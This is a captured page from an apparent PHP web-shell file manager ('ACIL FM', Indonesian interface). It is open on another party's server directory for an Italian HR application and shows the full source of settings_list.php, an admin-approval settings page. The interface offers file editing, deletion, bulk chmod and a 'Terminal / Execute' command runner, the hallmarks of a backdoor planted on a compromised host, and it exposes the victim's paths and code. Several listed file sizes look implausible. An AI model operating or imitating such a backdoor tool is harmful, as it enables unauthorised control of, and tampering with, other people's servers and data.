ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR-test-old/ds/public/settings
/
home
mhhtmff
app
NH-HR-test-old
ds
public
settings
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
check_parameters_content.php
2.86 MB
chmod
View
DL
Edit
Rename
Delete
company_datas_content.php
952 B
chmod
View
DL
Edit
Rename
Delete
cron_jobs_list.php
1.9 MB
chmod
View
DL
Edit
Rename
Delete
cron_logs_list.php
810 B
chmod
View
DL
Edit
Rename
Delete
edit_cron_job_content.php
10.94 MB
chmod
View
DL
Edit
Rename
Delete
edit_justification_content.php
3.12 MB
chmod
View
DL
Edit
Rename
Delete
edit_payments_office_content.php
2.7 MB
chmod
View
DL
Edit
Rename
Delete
edit_stamper_content.php
2.79 MB
chmod
View
DL
Edit
Rename
Delete
justifications_content.php
1.22 MB
chmod
View
DL
Edit
Rename
Delete
new_cron_job_content.php
4.54 MB
chmod
View
DL
Edit
Rename
Delete
new_justification_content.php
2.11 MB
chmod
View
DL
Edit
Rename
Delete
new_payments_office_content.php
2.04 MB
chmod
View
DL
Edit
Rename
Delete
new_stamper_content.php
2.16 MB
chmod
View
DL
Edit
Rename
Delete
payments_office_content.php
1.3 MB
chmod
View
DL
Edit
Rename
Delete
settings_list.php
7.28 MB
chmod
View
DL
Edit
Rename
Delete
stampers_list.php
1.29 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR-test-old/ds/public/settings/settings_list.php
<?php session_start(); if (!isset($_SESSION['loggedin'])) { exit("unauthorized"); } include "../../php/database.php"; ?> <div class="card-title mb-3">Approvazioni e notifiche</div> <ul class="nav nav-tabs" id="myIconTab" role="tablist"> <li class="nav-item"><a class="nav-link active" id="home-icon-tab" data-toggle="tab" href="#homeIcon" role="tab" aria-controls="homeIcon" aria-selected="true"><i class="nav-icon i-Stamp"></i> Timbrature</a></li> <li class="nav-item"><a class="nav-link" id="profile-icon-tab" data-toggle="tab" href="#profileIcon" role="tab" aria-controls="profileIcon" aria-selected="false"><i class="nav-icon i-File-Clipboard-File--Text"></i> Permessi</a></li> <li class="nav-item"><a class="nav-link" id="contact-icon-tab" data-toggle="tab" href="#contactIcon" role="tab" aria-controls="contactIcon" aria-selected="false"><i class="nav-icon i-Truck mr-1"></i> Trasferte</a></li> </ul> <div class="tab-content" id="myIconTabContent"> <div class="tab-pane fade show active" id="homeIcon" role="tabpanel" aria-labelledby="home-icon-tab"> <table class="table table-striped" id="stamp_settings"> <thead> <tr> <th style="display: none;">ID</th> <th>Nome</th> <th>Cognome</th> <th>Email</th> <th>Approvazioni</th> </tr> </thead> <tbody> <?php $index = 0; $sql = "SELECT * FROM users WHERE role = 'Admin'"; $result = mysqli_query($con, $sql); while ($row = mysqli_fetch_assoc($result)) { $index++; echo "<tr>"; echo "<td style='display:none'>". $row["id"] ."</td>"; echo "<td>". $row["name"] ."</td>"; echo "<td>". $row["surname"] ."</td>"; echo "<td>". $row["email"] ."</td>"; if($row["stamps_approver"] == 1) { echo "<td><input style='margin: auto' class='form-check-input' id='stamps_approve_".$index."' type='checkbox' checked='checked'></td>"; } else { echo "<td><input style='margin: auto' class='form-check-input' id='stamps_approve_".$index."' type='checkbox'></td>"; } echo "</tr>"; } ?> </tbody> </table> <button class="btn btn-primary" type="submit" onclick="saveStampSettings()" id="save_stamps_button">Salva</button> <div class="spinner spinner-primary mr-3" style="display: none;float:left" id="stamps_settings_loader"></div> </div> <div class="tab-pane fade" id="profileIcon" role="tabpanel" aria-labelledby="profile-icon-tab"> <table class="table table-striped" id="permissions_settings"> <thead> <tr> <th style="display: none;">ID</th> <th>Nome</th> <th>Cognome</th> <th>Email</th> <th>Approvazioni</th> <th>Notifiche</th> </tr> </thead> <tbody> <?php $index = 0; $sql = "SELECT * FROM users WHERE role = 'Admin'"; $result = mysqli_query($con, $sql); while ($row = mysqli_fetch_assoc($result)) { $index++; echo "<tr>"; echo "<td style='display:none'>". $row["id"] ."</td>"; echo "<td>". $row["name"] ."</td>"; echo "<td>". $row["surname"] ."</td>"; echo "<td>". $row["email"] ."</td>"; if($row["permissions_approver"] == 1) { echo "<td><input style='margin: auto' class='form-check-input' id='permissions_approve_".$index."' type='checkbox' checked='checked'></td>"; } else { echo "<td><input style='margin: auto' class='form-check-input' id='permissions_approve_".$index."' type='checkbox'></td>"; } if($row["permissions_notifies"] == 1) { echo "<td><input style='margin: auto' class='form-check-input' id='permissions_notify_".$index."' type='checkbox' checked='checked'></td>"; } else { echo "<td><input style='margin: auto' class='form-check-input' id='permissions_notify_".$index."' type='checkbox'></td>"; } echo "</tr>"; } ?> </tbody> </table> <button class="btn btn-primary" type="submit" onclick="savePermissionsSettings()" id="save_permissions_button">Salva</button> <div class="spinner spinner-primary mr-3" style="display: none;float:left" id="permissions_settings_loader"></div> </div> <div class="tab-pane fade" id="contactIcon" role="tabpanel" aria-labelledby="contact-icon-tab"> <table class="table table-striped" id="transfers_settings"> <thead> <tr> <th style="display: none;">ID</th> <th>Nome</th> <th>Cognome</th> <th>Email</th> <th>Approvazioni</th> <th>Notifiche</th> </tr> </thead> <tbody> <?php $index = 0; $sql = "SELECT * FROM users WHERE role = 'Admin'"; $result = mysqli_query($con, $sql); while ($row = mysqli_fetch_assoc($result)) { $index++; echo "<tr>"; echo "<td style='display:none'>". $row["id"] ."</td>"; echo "<td>". $row["name"] ."</td>"; echo "<td>". $row["surname"] ."</td>"; echo "<td>". $row["email"] ."</td>"; if($row["transfers_approver"] == 1) { echo "<td><input style='margin: auto' class='form-check-input' id='transfers_approve_".$index."' type='checkbox' checked='checked'></td>"; } else { echo "<td><input style='margin: auto' class='form-check-input' id='transfers_approve_".$index."' type='checkbox'></td>"; } if($row["transfers_notifies"] == 1) { echo "<td><input style='margin: auto' class='form-check-input' id='transfers_notify_".$index."' type='checkbox' checked='checked'></td>"; } else { echo "<td><input style='margin: auto' class='form-check-input' id='transfers_notify_".$index."' type='checkbox'></td>"; } echo "</tr>"; } ?> </tbody> </table> <button class="btn btn-primary" type="submit" onclick="saveTransfersSettings()" id="save_transfers_button">Salva</button> <div class="spinner spinner-primary mr-3" style="display: none;float:left" id="transfers_settings_loader"></div> </div> </div>
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply